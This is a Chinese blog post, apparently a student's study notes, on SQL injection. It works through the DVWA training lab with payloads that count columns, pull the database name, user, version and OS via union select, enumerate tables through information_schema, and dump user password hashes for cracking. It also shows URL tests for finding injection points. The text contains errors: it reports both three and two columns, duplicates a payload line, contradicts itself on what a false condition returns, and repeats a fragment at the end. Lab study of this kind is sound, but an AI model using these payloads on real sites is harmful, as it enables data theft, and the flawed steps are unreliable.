SQL注入详解
由于对各个漏洞的理解程度还不是很深刻,为此,选用最常用的几个漏洞出来写几篇博客复盘一下,目的不是为了简单的了解漏洞的运行过程,而是更加深入的理解其中的原理,由此写下这几篇博客,供自己复习及大家参考。
1、SQL漏洞简介
注入漏洞,是指攻击者可以通过HTTP请求将payload注入某种代码中,导致payload被当作代码执行的漏洞。例如SQL注入漏洞,攻击者将SQL注入payload插入SQL语句中,并且被SQL引擎解析成SQL代码,影响原SQL语句的逻辑,形成注入。同样文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似,也可以看作代码注入漏洞。
SQL注入
SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句中,导致了SQL注入的产生。黑客通过SQL注入可直接窃取数据库信息,造成信息泄露。
JDBC拼接不当造成SQL注入
JDBC有两种方法执行SQL语句,分别是PrepareStatement和Statement。两个方法的区别在于前者会对SQL语句进行预编译,而后者方法在每次执行时都需要编译,会增大系统开销。理论上前者的效率和安全性会比后者好,但是不意味着前者就绝对安全,不会产生SQL注入。
2、SQL注入靶场
我这里使用的是DVWN,当然还有很多其他靶场,以后说。
3、SQL注入打靶
首先我们先看一下low等级的网站,输入1查看可以得知是get请求(看源码有一个id=1)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Su600PkI-1652087762811)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220508083957524.png)]
然后我们输入框输入,order by 可以利用来查看该表有几列,测得是3列。
1' order by 1#
因为输入下列语句时发生了报错,说明找不到第三列。
1' order by 1#
我们可以打开源码看一下后台的php是如何写的就能理解上面的sql注入语句为什么要这样写了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
我们把上述语句代入到id则:
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ order by 1#';”;
所以可以理解为什么是这样写了,接着下一步,我们需要在有回显的地方显示数据库内的数据,为此,我们需要用到联合查询union select。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入
1' union select database(),user();#
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
由此图我们可以得知
- 当前网站使用数据库为 dvwa .
- 当前执行查询用户名为 root@localhost .
同理我们再输入
1' union select version(),@@version_compile_os;#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z5Kfdp4p-1652087762814)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220508085530811.png)]
- version() 获取当前数据库版本.
- @@version_compile_os 获取当前操作系统。
通过上图返回信息,我们又成功获取到:
- 当前数据库版本为 : 5.7.26
- 当前操作系统为 : Win64
接下来我们来获取dvwa数据库的表名,information_schema是mysql自带的一张表,这张数据库负责保存数据库的所有信息如数据库名、数据库的表、表栏的数据类型和访问权限等。
该数据库拥有一个名为tables的表,该表包含两个字段table_name和table_schema,分别记录的DBMS中存储的表名和表名所在的数据库。
我们输入
1' union select table_name,table schema from information_schema.tables where table_schema='dvwa'#
1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#
这里我报了一个错误,暂时还未是什么原因先把报错原因留下
由于已知一个用户users,所以这里查询一下用户和密码,猜测是user和password
1' union select user,password from users#
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com
进行解密。
直此,同学们应该已经对 Sql 注入有了一个大概得了解,也清楚了 Sql 注入的强大。
如何判断是否存在注入点
单引号判断法(最经典)
有报错就是存在sql注入
如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入
判断sql注入的类型
sql注入有两种类型
- 数字型
- 字符型
数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=‘1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’='2 页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。
表名> where id = ‘x’ and ‘1’=‘1’
语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2时,后台执行 Sql 语句:
select * from <表名> where id = ‘x’ and ‘1’=‘2’
语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。